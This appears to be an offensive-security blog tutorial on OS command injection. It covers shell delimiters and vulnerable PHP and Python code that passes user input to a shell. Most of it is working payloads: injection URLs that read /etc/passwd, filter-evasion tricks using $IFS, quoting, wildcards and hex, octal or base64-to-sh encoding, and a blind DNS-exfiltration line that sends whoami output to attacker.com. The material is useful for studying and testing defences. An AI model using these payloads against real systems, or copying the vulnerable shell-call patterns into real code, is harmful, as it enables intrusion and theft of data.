0xFFFF

offensive security research

OS Command Injection Tutorial - Part #1 (Basics and Filter Evasion)

2021-07-28

Command injection happens when user input gets passed to a system shell. It is not the same as remote code execution (RCE) in the general sense - RCE means running arbitrary code in whatever context (memory corruption, deserialization, template injection). Command injection specifically means your input is interpreted by a shell like /bin/sh or cmd.exe.

Shell delimiters

These characters let you append additional commands to the intended one:

;       - command separator (run both regardless)
&&      - logical AND (run second only if first succeeds)
||      - logical OR (run second only if first fails)
|       - pipe (feed first command's output to second)
`cmd`   - backtick substitution (execute cmd, inline result)
$(cmd)  - dollar substitution (same as backticks, nestable)
\n      - newline (some parsers treat as command separator)

Basic injection

Vulnerable PHP example - a ping utility:

<?php
$ip = $_GET['ip'];
$output = shell_exec("ping -c 3 " . $ip);
echo $output;
?>

Exploitation:

# Normal use
https://target.com/ping.php?ip=8.8.8.8

# Inject with semicolon
https://target.com/ping.php?ip=8.8.8.8;id

# Inject with pipe
https://target.com/ping.php?ip=8.8.8.8|cat+/etc/passwd

Python equivalent using os.system():

import os
domain = input("Enter domain: ")
os.system(f"nslookup {domain}")

# Input: example.com; whoami

Filter evasion

When the application blocks obvious payloads, get creative.

Space filtering - if spaces are blocked:

# Use $IFS (Internal Field Separator, defaults to space)
cat${IFS}/etc/passwd

# Use brace expansion
{cat,/etc/passwd}

# Use tab (%09 URL-encoded)
cat%09/etc/passwd

Keyword filtering - if strings like "cat" or "passwd" are blocked:

# Variable concatenation
a=ca;b=t;$a$b /etc/passwd

# Quoting insertion (shell strips quotes during parsing)
c'a't /etc/passwd
c"a"t /etc/passwd

# Backslash insertion
c\at /etc/pas\swd

# Wildcard matching
/bin/c?t /etc/pass??

Encoding-based evasion:

# Hex encoding with printf
$(printf '\x63\x61\x74') /etc/passwd

# Base64 decode piped to shell
echo "Y2F0IC9ldGMvcGFzc3dk" | base64 -d | sh

# Octal encoding
$'\143\141\164' /etc/passwd

Case manipulation (works when the filter is case-sensitive but the command is not):

# On Windows (case-insensitive filesystem)
WhOaMi
pInG 127.0.0.1

# On Linux, use variable tricks
$(tr '[A-Z]' '[a-z]' <<< 'CAT') /etc/passwd

Blind injection

If you do not see command output in the response, use time-based or out-of-band techniques:

# Time-based detection
https://target.com/ping.php?ip=8.8.8.8;sleep+5

# DNS exfiltration
https://target.com/ping.php?ip=8.8.8.8;nslookup+$(whoami).attacker.com

Part 2 will cover OS-specific tricks, WAF bypass for command injection payloads, and building reliable reverse shells from limited injection points.